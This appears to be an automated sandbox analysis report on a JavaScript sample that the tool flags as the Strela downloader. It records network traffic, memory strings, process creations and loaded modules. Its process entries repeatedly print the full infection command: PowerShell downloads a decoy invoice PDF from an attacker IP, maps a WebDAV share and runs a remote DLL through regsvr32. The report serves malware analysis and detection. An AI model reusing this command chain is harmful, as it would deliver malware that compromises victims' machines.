
Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.2296869385.0000019B1F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2354047342.0000019639D7A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354047342.0000019639D5B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354047342.0000019639D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2354047342.0000019639D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 00000007.00000002.2354047342.0000019639D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sceo
Source: net.exe, 00000007.00000002.2354047342.0000019639D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.3584361641.0000024C2148C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2353440414.0000024C212B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6440, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 295963673155714664.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kd4s50ch.vdz.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1572,i,8482416695213853241,14148114775944833719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1572,i,8482416695213853241,14148114775944833719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
